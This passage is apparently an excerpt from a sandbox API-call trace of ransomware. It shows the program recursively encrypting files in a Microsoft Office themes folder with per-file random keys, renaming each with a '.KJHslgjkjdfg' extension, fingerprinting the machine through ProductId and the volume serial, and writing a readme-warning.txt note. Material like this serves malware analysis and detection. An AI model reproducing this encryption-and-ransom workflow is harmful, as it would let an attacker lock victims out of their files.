(hKey=0x2c63e0) returned 1 [0150.881] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0150.882] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0150.882] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0150.882] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0150.882] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0150.882] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0150.882] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.882] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.882] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.882] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x271, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x271, lpOverlapped=0x0) returned 1 [0150.882] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x280, dwBufLen=0x280 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x280) returned 1 [0150.883] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.883] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x280, lpOverlapped=0x0) returned 1 [0150.883] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.883] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.883] SetEndOfFile (hFile=0x118) returned 1 [0150.886] GetProcessHeap () returned 0x2a0000 [0150.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0150.886] GetProcessHeap () returned 0x2a0000 [0150.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0150.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.kjhslgjkjdfg")) returned 1 [0150.889] CloseHandle (hObject=0x118) returned 1 [0150.889] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0150.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0150.896] GetProcessHeap () returned 0x2a0000 [0150.896] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0150.896] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0150.896] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0150.897] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0150.933] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.933] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.933] GetProcessHeap () returned 0x2a0000 [0150.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0150.933] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0150.933] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.933] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0150.933] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0150.933] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0150.933] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0150.933] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0150.933] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0150.934] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.934] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.934] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.934] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x82c7, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x82c7, lpOverlapped=0x0) returned 1 [0150.992] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x82d0, dwBufLen=0x82d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x82d0) returned 1 [0150.993] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.993] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x82d0, lpOverlapped=0x0) returned 1 [0150.993] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.993] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x83a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.993] SetEndOfFile (hFile=0x118) returned 1 [0150.996] GetProcessHeap () returned 0x2a0000 [0150.996] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0150.996] GetProcessHeap () returned 0x2a0000 [0150.996] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0150.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0151.001] CloseHandle (hObject=0x118) returned 1 [0151.001] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0151.001] GetProcessHeap () returned 0x2a0000 [0151.001] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.001] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.001] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.001] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.001] GetProcessHeap () returned 0x2a0000 [0151.001] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.001] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.001] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.001] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.001] GetProcessHeap () returned 0x2a0000 [0151.001] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0151.002] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.002] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0151.002] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.002] GetProcessHeap () returned 0x2a0000 [0151.002] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.002] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.002] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.002] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.002] GetProcessHeap () returned 0x2a0000 [0151.002] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.002] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.002] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.002] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.002] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.002] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.002] RegCloseKey (hKey=0x118) returned 0x0 [0151.002] GetProcessHeap () returned 0x2a0000 [0151.002] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.002] GetProcessHeap () returned 0x2a0000 [0151.002] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.003] GetProcessHeap () returned 0x2a0000 [0151.003] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.003] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.003] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.003] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.003] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.003] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.003] GetProcessHeap () returned 0x2a0000 [0151.003] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.003] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.003] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.003] GetProcessHeap () returned 0x2a0000 [0151.003] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0151.003] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\readme-warning.txt") returned 83 [0151.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.004] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.006] CloseHandle (hObject=0x118) returned 1 [0151.006] GetProcessHeap () returned 0x2a0000 [0151.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0151.006] GetProcessHeap () returned 0x2a0000 [0151.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0151.006] GetProcessHeap () returned 0x2a0000 [0151.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.006] GetProcessHeap () returned 0x2a0000 [0151.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.006] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.006] GetProcessHeap () returned 0x2a0000 [0151.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.006] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0151.006] GetProcessHeap () returned 0x2a0000 [0151.006] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0151.006] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.007] GetProcessHeap () returned 0x2a0000 [0151.007] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0151.007] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.007] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0151.007] GetProcessHeap () returned 0x2a0000 [0151.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0151.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.015] GetProcessHeap () returned 0x2a0000 [0151.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.015] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.015] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.015] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0151.019] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.019] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.019] GetProcessHeap () returned 0x2a0000 [0151.019] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.019] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.019] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.020] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.020] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.020] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.020] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.020] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.020] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.020] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.020] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.020] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.020] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x68b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x68b, lpOverlapped=0x0) returned 1 [0151.020] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x690, dwBufLen=0x690 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x690) returned 1 [0151.020] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.021] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x690, lpOverlapped=0x0) returned 1 [0151.021] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.021] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.021] SetEndOfFile (hFile=0x118) returned 1 [0151.023] GetProcessHeap () returned 0x2a0000 [0151.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.024] GetProcessHeap () returned 0x2a0000 [0151.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft 